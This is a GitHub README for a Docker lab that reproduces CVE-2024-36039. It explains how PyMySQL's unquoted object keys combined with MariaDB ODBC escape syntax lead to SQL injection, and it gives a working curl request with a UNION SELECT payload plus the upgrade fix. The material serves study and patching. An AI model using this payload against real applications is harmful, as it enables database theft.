zenniskayy2k4/CVE-2024-36039_PoC

GitHub: zenniskayy2k4/CVE-2024-36039_PoC

针对 CVE-2024-36039 的完整复现环境,演示 PyMySQL 对象注入如何结合 MariaDB ODBC 转义序列绕过参数化查询实现 SQL 注入。

Stars: 0 | Forks: 0

# CVE-2024-36039:PyMySQL 对象注入导致 SQL 注入 PoC ![Docker](https://img.shields.io/badge/Docker-Supported-blue?logo=docker) ![Python](https://img.shields.io/badge/Python-3.9-blue?logo=python) ![MariaDB](https://img.shields.io/badge/MariaDB-10.11-green?logo=mariadb) ![Vulnerability](https://img.shields.io/badge/Vulnerability-SQL%20Injection-red) ![CVE](https://img.shields.io/badge/CVE-2024--36039-orange) 这是一个针对 **CVE-2024-36039** 的完整、可复现的概念验证(PoC)实验环境,演示了 `PyMySQL`(版本 <= 1.1.0)中的对象注入漏洞如何利用 MariaDB 的 ODBC 转义序列升级为完整的 SQL 注入。 ## ⚠️ 法律与道德免责声明(仅供道德使用) * 本仓库仅用于**学术和研究目的**。 * 提供的代码和技术**绝不**可用于干扰您不拥有或未获得明确书面授权进行测试的任何系统。 * 作者/贡献者对因滥用此信息而造成的任何后果或损害**概不**负责。 * 使用本仓库即表示您同意遵守这些条款。 ## 📖 1. 漏洞概述 **CVE-2024-36039** 是 **PyMySQL**(一个纯 Python MySQL 客户端库)中的一个漏洞。 当参数化查询(例如 `execute("SELECT * FROM table WHERE data = %s", (my_dict,))`)接收一个 Python 字典,且其**键是自定义对象**而非标准字符串时,PyMySQL 会使用该对象的 `__str__` 或 `__repr__` 方法将其序列化为 SQL 字符串。 **漏洞原理:** PyMySQL *忘记* 对对象键生成的字符串进行转义(用单引号包裹)。 这导致原始的、未加引号的字符串作为字典格式被直接注入到 SQL 语句中:`{UnquotedObjectString: 'EscapedValue'}`。 ## 🔬 2. 技术深入剖析:MariaDB ODBC 技巧 单独将 `{UnquotedKey: 'Value'}` 注入到 MariaDB 查询中会触发 `1064 语法错误`,因为 `{}` 不是标准的 SQL 数据语法。 然而,MariaDB/MySQL 支持 **ODBC 转义序列**,该序列使用花括号 `{}`。要绕过语法错误,紧跟在 `{` 之后的字符串必须是有效的 ODBC 关键字(例如 `d`、`t`、`ts`、`fn`)。 ### 漏洞利用链: 1. **对象键(注入点):** 我们构造一个自定义对象,通过其 `__repr__` 方法返回 `fn/*`。 2. **值(Payload):** 我们将字典的值设置为 `*/ 1} UNION SELECT 1, flag, 3 FROM secret -- `。 3. **PyMySQL 序列化:** PyMySQL 将此字典格式化为 SQL 查询,且未对键加引号: SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"} 4. **MariaDB 解析魔法:** * `{fn`:MariaDB 识别出这是 ODBC 标量函数的开始。 * `/*: "'*/`:MariaDB 将其视为**块注释**。PyMySQL 生成的冒号 `:` 和左引号 `'` 被完全忽略! * ` 1}`:结束 ODBC 函数(实际上返回整数 `1`)。 * ` UNION SELECT 1, flag, 3 FROM secret`:我们注入的 SQL payload 被执行。 * `-- '"}`:SQL 注释忽略了剩余的尾部垃圾字符(`'}`)。 **结果:** 完美的 SQL 注入,绕过了应用程序逻辑和 PyMySQL 的参数化! ## 🛠️ 3. 实验环境搭建指南 ### 前置条件 * Docker * Docker Compose ### 安装 克隆本仓库并启动环境: ``` git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git cd CVE-2024-36039-PoC docker-compose up -d --build ``` *(等待约 15-20 秒以便 MariaDB 容器完全初始化)。* ## 🎯 4. 漏洞利用步骤 ### 步骤 1:正常请求 发送一个标准的 JSON 请求。后端会将 JSON 键转换为 `CustomKey` 对象。 ``` curl -X POST http://localhost:9669/search \ -H "Content-Type: application/json" \ -d '{"yamato": "Any_value"}' ``` **响应:** 您将收到一个 SQL 语法错误,提示 `{yamato: "'Any_value'"}` 是无效的 SQL,从而确认了注入点。 ### 步骤 2:漏洞利用(提取 Flag) 注入 ODBC 转义序列 payload 以绕过语法错误,并从 `secret` 表中提取隐藏的 flag。 ``` curl -X POST http://localhost:9669/search \ -H "Content-Type: application/json" \ -d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}' ``` **响应(拿下!):** ``` { "data":[ { "device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}", "id": 1, "log_data": "3" } ], "status": "success" } ``` ## 🛡️ 5. 修复方案 要修复此漏洞,请将 `PyMySQL` 升级到 **1.1.1 或更高版本**。 在已修复的版本中,开发人员确保所有字典键,无论其类型如何,在插入到 SQL 语句之前都会被正确转义和引用。 ``` pip install --upgrade PyMySQL ``` ## 📚 6. 致谢与参考 * **CVE-2024-36039 公告:** [NVD - CVE-2024-36039](https://nvd.nist.gov/vuln/detail/CVE-2024-36039) * **PyMySQL 安全补丁:** [PyMySQL GitHub Release v1.1.1](https://github.com/PyMySQL/PyMySQL/releases/tag/v1.1.1) * **MariaDB ODBC 转义序列:** [MariaDB Documentation](https://mariadb.com/kb/en/odbc-escape-syntax/)。 * **灵感:** 本实验环境的建模基于涉及对象到字符串序列化缺陷的现代 Web 利用技术。 © 2026 by zenniskayy. Built for a safer internet.
标签:CISA项目, CVE-2024-36039, CWE-89, Docker, MariaDB, ODBC转义序列, PoC, PyMySQL, Python, Web安全, 免杀/ bypass, 安全防御评估, 对象注入, 序列化漏洞, 开放策略代理, 无后门, 暴力破解, 概念验证, 漏洞复现, 版权保护, 蓝队分析, 请求拦截, 逆向工具